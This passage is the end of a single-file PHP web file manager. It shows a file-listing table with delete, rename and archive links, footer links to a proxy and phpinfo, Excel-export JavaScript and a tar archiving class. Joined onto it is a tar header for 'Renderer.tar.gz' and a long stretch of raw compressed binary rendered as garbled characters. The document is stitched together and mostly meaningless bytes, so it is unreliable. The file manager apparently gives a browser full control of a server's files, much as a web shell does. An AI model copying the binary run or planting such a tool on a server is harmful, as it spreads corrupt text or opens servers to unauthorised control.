    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           Renderer/Renderer.tar.gz                                                                            0000644                 00000462366 15217306007 0011231 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
87陒d}Ǌ;F_3QIGߦz7oR<>.ّ4t1qiSS*TC.M˕4>|z:RzKR1rD2k)S	Dڅr>#I~W\a	Z_*9jUzxtH{a/89ZlV(ihLҴ7|\]4)g)F)6Ψzuu7YdyTEn/l˹B]< Wi|j1bf|E ~<mdR$GgN{V:ILmv!S-XLoV7Jig4ţ'*swΒVfN&g,d1D}YEmFf-ʩGRbP,e羕V?g~Ö,*Me<ɞ~/謁+7rn}ynx&ȰcNv9~-|hi2ڔS#G1ɔ!gIpk+kYv+=yt<AoL@Χpjtkqǂd=UUvG%bL-EԱqzu^U"EMһ]<nhƬFj3ouy8,aGN%hHt	\(jXt110ISs3ة-"Iyk8=p?Yz9i=wl6Aa)](-Uɖ&mN{T66i:eu6d@2u%	#i>4܏Qʆzxg.e)3`'MwnY ɚ=L+{q0l%\nx=o_.~wk/iI?/m@5ײ A}e òf,J;)5If.5eOHotK-մt7lk&N3"M)Q|M0ct7k]ȱB ݌.NO{G<Hԯ-R.IG	n?y2-v\䣅w
d_8羥ZPYvSCgT%I/1^tۿS6Gv3V?lbGȥTMSb1G7\nV{#U{+Mz_˷'I7xʱy츫C^ڎgI&&u^U$4Rs^[SܫFEF{no0HCNUv)rot.'tM+`ǚr|Iwq%i_ù͋&O}ODeFA]Mmpܾs[Bkk1O(/+T&GK4aFtAf:n,%\uxFA~7K$meOdQ@ԛFvq멤\TtQ]]l-NRŽTD!kCjgr뽜6L#F( qoT\7+Rܪ}2	Qb26-)Kv:&,{1L-_z=|bN<QSTq_,C;_d\~y|^CT!v5kǾTzt~x1nkł^ȗ{P}*n5s1WO_Qvk`7׳IYm,3;16(WjM?3K=Vg
}hf~/xJe0e% /,)5 C:']G@d҅+1<嗏:m\X9ݴ'nUS{ș!xAsҒHqgdNȪ-6ۓHU8F%Fy>͸2-PjKcȫe&Iu5X;.Z
ivVLog8&/~l0vrd<,?࣓Flz8{l|Mv2ʮ>n#wTOu=Q8Xr8%4aGCB[_ʥ]9W^twj&鑊&c\}msu_Ds$}S\,zPǚs5*8Ǝ 2(͇/jl+v~)PkRN\'!9ܶt0|^63#4,؞Zp74Z#X&Y<Oΰ-2GHpM?u EPj+U#'zZ^`яvsEKf
hOQWDӿ	pke@[}	Ls= Yb{\j׶3Уs'ulOөҟj]SXFZK):kUk1]/YbpR\˾/cA٭P%ًdYb2VNT[FMӎ<b\hz'66CBg+1G
[x955]]zHG#ob8B/DHL}xsMIz[khG>Odh^~|DmQT+OԄa[ܙKwR˼mVy)'^<An\.ﾏ&.A2OoSllvQ킾*->SmG7`;ZnR>Ɯ5Ϡ1E^ҲζGs>Qr~6"FAA-n+8sLׇhF٦Gou;UCGo:R(1$;GJ>F:OO]OKm']ʱD+]ɩ:|JLٛ8ǥÇdx,{r)o]z遛pϔqijbhcjoNz7-=yVէk//Pwe>~q'B9SdOp+fI;,5#,4[Yk1&N~ys\Dy)4){QMiγd_w>C{έU8s某h$0Y	~~-'mRS4x]2}a)K)0hhv0|rP,;Z_q!e~7-3}>[-5/$]ΧD]Hlmtkd%cCMe"J7~ێ~(	Ӳw墿Pۥ4/oT˯@#:yUC;y}gϫh)9U^tٮ5m[49nq[R[qw˫rPrIus>'s3÷ħ-j):͘lsO?<A}R~󩡉rv#,Jk|#V4ps˔Bư 59=N=5['[{EͽS{z292%GT>H}qJ'4sH^zr'沧#TiޔPiy=Ä3DeQ5J?1(ՙd1+g:[o{DHۈw@ϩwp<uVG:;Od0askBy<i|r.o3:\2P(?rW5&SۜvUWnىu6{H)m1M!v	]u1z[]IUÝfCXJ򨐳0UԘfEK\0)gCM';ZKetF[eh_v>;xٸܽ-t;JU^~#jv\dVe4𒟠#jHv1λm}iEwZ;%RKvwץ:~*q%r;c-WVt"Eo~ѪFN)`.&kT.2zε禔Je lC8)P˥zٲ'$ǋOY<+w|Au4Od,˓Ujɔlh>8'x>}+)Cfԕ6Qjܮr7lwB#1CqT=-mq!B1B28o_HG<+8~}.O:zvWL`dBnh-^ogam-&MYgvLIRզRz!gwYir[!gh{f=Kѷ^f2qϡJ݉"~ʴ 3v<փ=r39eӚ5؁Hi	/AEJ5ζ_*JLp#)e7gnD1Iދ<R~]ȋsBҴ[^ޝfk$h`-j()8Pl l))+Y2Ŏv&on>D]>{uJm#934Cm}LK8$v݅÷DO۽S=5`G	]ޓ#{(g~ďg]=+%1p˝E'!% Iܦ$Ji|^zApU[Uvw.x;-ٛڵB/yϮUH#5V\>./em+O<E.Vqc5k0>igO˯߯}nls~ODo1nK5E.PIKXz:2"XE޲d